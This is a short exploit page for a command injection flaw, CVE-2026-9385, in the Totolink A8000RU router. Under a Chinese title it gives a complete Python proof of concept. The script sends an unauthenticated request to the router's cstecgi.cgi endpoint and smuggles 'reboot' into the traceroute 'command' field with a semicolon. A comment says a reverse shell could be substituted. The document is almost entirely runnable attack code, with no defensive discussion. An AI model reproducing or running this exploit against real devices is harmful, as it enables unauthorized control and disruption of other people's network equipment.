CVE-2026-9385 Totolink A8000RU远程命令执行漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Vulnerable payload: Using semicolon to inject a command # Example: Rebooting the router or creating a reverse shell payload = { "function": "setTracerouteCfg", "command": "google.com; reboot; #" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0; CVE-2026-9385)" } try: # Sending the malicious request without authentication response = requests.post(target_url, data=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if the device rebooted or command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")